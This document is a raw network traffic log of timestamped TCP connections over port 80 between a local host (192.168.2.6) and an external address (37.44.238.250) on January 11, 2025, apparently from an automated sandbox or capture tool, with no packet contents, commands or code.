Jan 11, 2025 06:43:40.029237032 CET	80	57043	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:40.033596039 CET	57043	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:40.556164980 CET	57043	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:40.557404041 CET	57050	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:40.561294079 CET	80	57043	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:40.561358929 CET	57043	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:40.562644958 CET	80	57050	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:40.562761068 CET	57050	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:40.562985897 CET	57050	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:40.567838907 CET	80	57050	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:40.911035061 CET	57050	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:40.915982008 CET	80	57050	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:40.916055918 CET	80	57050	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:40.916066885 CET	80	57050	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.157025099 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.161909103 CET	57050	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.161943913 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.162085056 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.162261009 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.166935921 CET	80	57050	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.167011976 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.167051077 CET	57050	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.415359020 CET	57059	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.420325041 CET	80	57059	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.420413971 CET	57059	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.420749903 CET	57059	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.425604105 CET	80	57059	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.520301104 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.525156021 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.525187969 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.525199890 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.525233984 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.525284052 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.525291920 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.525305033 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.525309086 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.525341988 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.525343895 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.525353909 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.525355101 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.525409937 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.525424004 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.525434971 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.525469065 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.525501966 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.530355930 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.530373096 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.530383110 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.530392885 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.530405045 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.530414104 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.530436993 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.530459881 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.530504942 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.571559906 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.571741104 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.619563103 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.620320082 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.624427080 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.625160933 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.625365973 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.630227089 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630240917 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630270958 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630280972 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630305052 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.630326986 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630337954 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630337954 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.630388975 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.630394936 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630407095 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630451918 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630460024 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.630462885 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630507946 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.630518913 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630559921 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630601883 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630624056 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.630642891 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630678892 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.630682945 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630800009 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630810976 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630831957 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630872965 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630908966 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.630973101 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.631005049 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.631073952 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.631099939 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.631155968 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.631202936 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.631258965 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.631279945 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.635178089 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.635245085 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.635296106 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.635344028 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.635387897 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.635432959 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.635494947 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.635601997 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.635612011 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.635637045 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.635685921 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.635756969 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.635766983 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.770231009 CET	57059	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:41.775127888 CET	80	57059	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.775161028 CET	80	57059	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.775171041 CET	80	57059	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.809174061 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:41.863881111 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:42.078850031 CET	80	57059	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:42.129470110 CET	57059	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:42.245820999 CET	80	57059	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:42.301359892 CET	57059	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:42.364288092 CET	57059	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:42.365083933 CET	57060	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:42.369261980 CET	80	57059	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:42.369324923 CET	57059	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:42.369967937 CET	80	57060	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:42.370110035 CET	57060	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:42.370186090 CET	57060	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:42.374923944 CET	80	57060	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:42.451473951 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:42.504478931 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:42.723362923 CET	57060	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:42.728384018 CET	80	57060	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:42.728400946 CET	80	57060	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:42.728410006 CET	80	57060	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:43.008708954 CET	80	57060	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:43.051373005 CET	57060	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:43.140379906 CET	80	57060	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:43.191972017 CET	57060	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:43.270426989 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:43.270709038 CET	57060	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:43.271332026 CET	57061	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:43.275444984 CET	80	57055	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:43.275525093 CET	57055	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:43.275819063 CET	80	57060	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:43.275876999 CET	57060	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:43.276185036 CET	80	57061	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:43.276263952 CET	57061	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:43.276381016 CET	57061	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:43.281228065 CET	80	57061	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:43.629637957 CET	57061	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:43.634639978 CET	80	57061	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:43.634655952 CET	80	57061	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:43.634674072 CET	80	57061	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:43.915575027 CET	80	57061	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:43.975647926 CET	57061	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:44.044574022 CET	80	57061	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:44.129518032 CET	57061	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:44.184412003 CET	57063	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:44.189368963 CET	80	57063	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:44.189523935 CET	57063	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:44.189635992 CET	57063	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:44.194422960 CET	80	57063	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:44.271071911 CET	57063	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:44.271770000 CET	57064	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:44.277129889 CET	80	57064	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:44.277247906 CET	57064	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:44.277412891 CET	57064	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:44.282239914 CET	80	57064	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:44.319720030 CET	80	57063	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:44.397488117 CET	57065	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:44.402337074 CET	80	57065	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:44.402414083 CET	57065	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:44.402563095 CET	57065	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:44.407464027 CET	80	57065	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:44.629692078 CET	57064	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:44.634628057 CET	80	57064	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:44.634701014 CET	80	57064	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:44.656260967 CET	80	57063	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:44.656333923 CET	57063	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:44.754600048 CET	57065	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:44.759591103 CET	80	57065	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:44.759608984 CET	80	57065	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:44.759623051 CET	80	57065	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:44.925116062 CET	80	57064	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:44.973382950 CET	57064	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:45.037838936 CET	80	57065	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:45.058109999 CET	80	57064	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:45.082613945 CET	57065	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:45.098232985 CET	57064	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:45.166389942 CET	80	57065	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:45.207593918 CET	57065	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:45.284425974 CET	57064	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:45.284497023 CET	57065	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:45.285465002 CET	57066	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:45.289423943 CET	80	57064	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:45.289484024 CET	57064	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:45.289727926 CET	80	57065	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:45.289772987 CET	57065	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:45.290268898 CET	80	57066	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:45.290321112 CET	57066	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:45.290443897 CET	57066	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:45.295222998 CET	80	57066	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:45.681310892 CET	57066	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:45.686253071 CET	80	57066	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:45.686294079 CET	80	57066	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:45.686322927 CET	80	57066	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:45.927762032 CET	80	57066	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:45.973236084 CET	57066	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:46.064291954 CET	80	57066	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:46.113924980 CET	57066	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:46.190772057 CET	57066	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:46.191590071 CET	57067	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:46.195807934 CET	80	57066	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:46.196098089 CET	57066	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:46.196469069 CET	80	57067	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:46.196563959 CET	57067	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:46.196674109 CET	57067	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:46.201503038 CET	80	57067	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:46.551577091 CET	57067	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:46.556567907 CET	80	57067	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:46.556586027 CET	80	57067	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:46.556595087 CET	80	57067	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:46.844347954 CET	80	57067	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:46.895112038 CET	57067	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:46.978204966 CET	80	57067	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:47.020140886 CET	57067	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:47.106992960 CET	57067	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:47.108280897 CET	57068	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:47.112179041 CET	80	57067	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:47.112237930 CET	57067	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:47.113095999 CET	80	57068	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:47.113171101 CET	57068	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:47.113392115 CET	57068	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:47.118263006 CET	80	57068	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:47.457885027 CET	57068	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:47.463074923 CET	80	57068	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:47.463145018 CET	80	57068	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:47.463182926 CET	80	57068	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:47.741918087 CET	80	57068	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:47.785840034 CET	57068	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:47.874331951 CET	80	57068	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:47.926368952 CET	57068	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:48.024524927 CET	57068	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:48.029531002 CET	80	57068	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:48.033550024 CET	57068	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:48.044943094 CET	57069	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:48.049742937 CET	80	57069	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:48.053554058 CET	57069	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:48.068737030 CET	57069	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:48.073623896 CET	80	57069	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:48.443443060 CET	57069	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:48.448513985 CET	80	57069	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:48.448527098 CET	80	57069	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:48.448537111 CET	80	57069	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:48.681979895 CET	80	57069	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:48.723274946 CET	57069	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:48.846643925 CET	80	57069	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:48.895133972 CET	57069	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:48.979525089 CET	57069	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:48.980341911 CET	57070	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:48.984602928 CET	80	57069	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:48.984666109 CET	57069	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:48.985176086 CET	80	57070	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:48.985256910 CET	57070	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:48.985371113 CET	57070	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:48.990187883 CET	80	57070	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:49.333055973 CET	57070	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:49.337944984 CET	80	57070	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:49.337960005 CET	80	57070	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:49.337965012 CET	80	57070	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:49.617538929 CET	80	57070	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:49.660859108 CET	57070	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:49.747021914 CET	80	57070	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:49.801352024 CET	57070	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:49.883872032 CET	57070	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:49.884687901 CET	57071	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:49.888883114 CET	80	57070	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:49.889122009 CET	57070	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:49.889579058 CET	80	57071	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:49.889647961 CET	57071	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:49.889760017 CET	57071	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:49.894490957 CET	80	57071	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:50.079408884 CET	57072	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:50.082178116 CET	57071	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:50.084248066 CET	80	57072	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:50.084330082 CET	57072	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:50.084434986 CET	57072	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:50.089226007 CET	80	57072	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:50.127635956 CET	80	57071	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:50.209419012 CET	57073	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:50.214416027 CET	80	57073	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:50.214634895 CET	57073	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:50.215289116 CET	57073	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:50.220109940 CET	80	57073	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:50.334690094 CET	80	57071	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:50.335453033 CET	57071	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:50.442106009 CET	57072	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:50.447088957 CET	80	57072	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:50.447160959 CET	80	57072	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:50.567225933 CET	57073	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:50.572144985 CET	80	57073	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:50.572163105 CET	80	57073	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:50.572173119 CET	80	57073	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:50.712759972 CET	80	57072	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:50.754511118 CET	57072	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:50.842292070 CET	80	57072	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:50.853636980 CET	80	57073	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:50.895128965 CET	57073	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:50.895133972 CET	57072	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:50.984355927 CET	80	57073	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:51.035756111 CET	57073	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:51.206871986 CET	57072	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:51.207020998 CET	57073	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:51.212306976 CET	80	57072	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:51.212431908 CET	80	57073	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:51.212502003 CET	57072	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:51.212534904 CET	57073	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:51.214302063 CET	57074	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:51.219335079 CET	80	57074	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:51.219430923 CET	57074	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:51.219702959 CET	57074	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:51.226299047 CET	80	57074	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:51.567353964 CET	57074	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:51.572242022 CET	80	57074	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:51.572257996 CET	80	57074	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:51.572280884 CET	80	57074	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:51.855947971 CET	80	57074	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:51.910778046 CET	57074	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:51.988027096 CET	80	57074	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:52.035765886 CET	57074	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:52.115012884 CET	57074	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:52.116060972 CET	57075	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:52.120145082 CET	80	57074	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:52.120204926 CET	57074	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:52.120898962 CET	80	57075	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:52.120976925 CET	57075	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:52.121082067 CET	57075	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:52.126205921 CET	80	57075	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:52.473582029 CET	57075	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:52.478532076 CET	80	57075	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:52.478545904 CET	80	57075	37.44.238.250	192.168.2.6
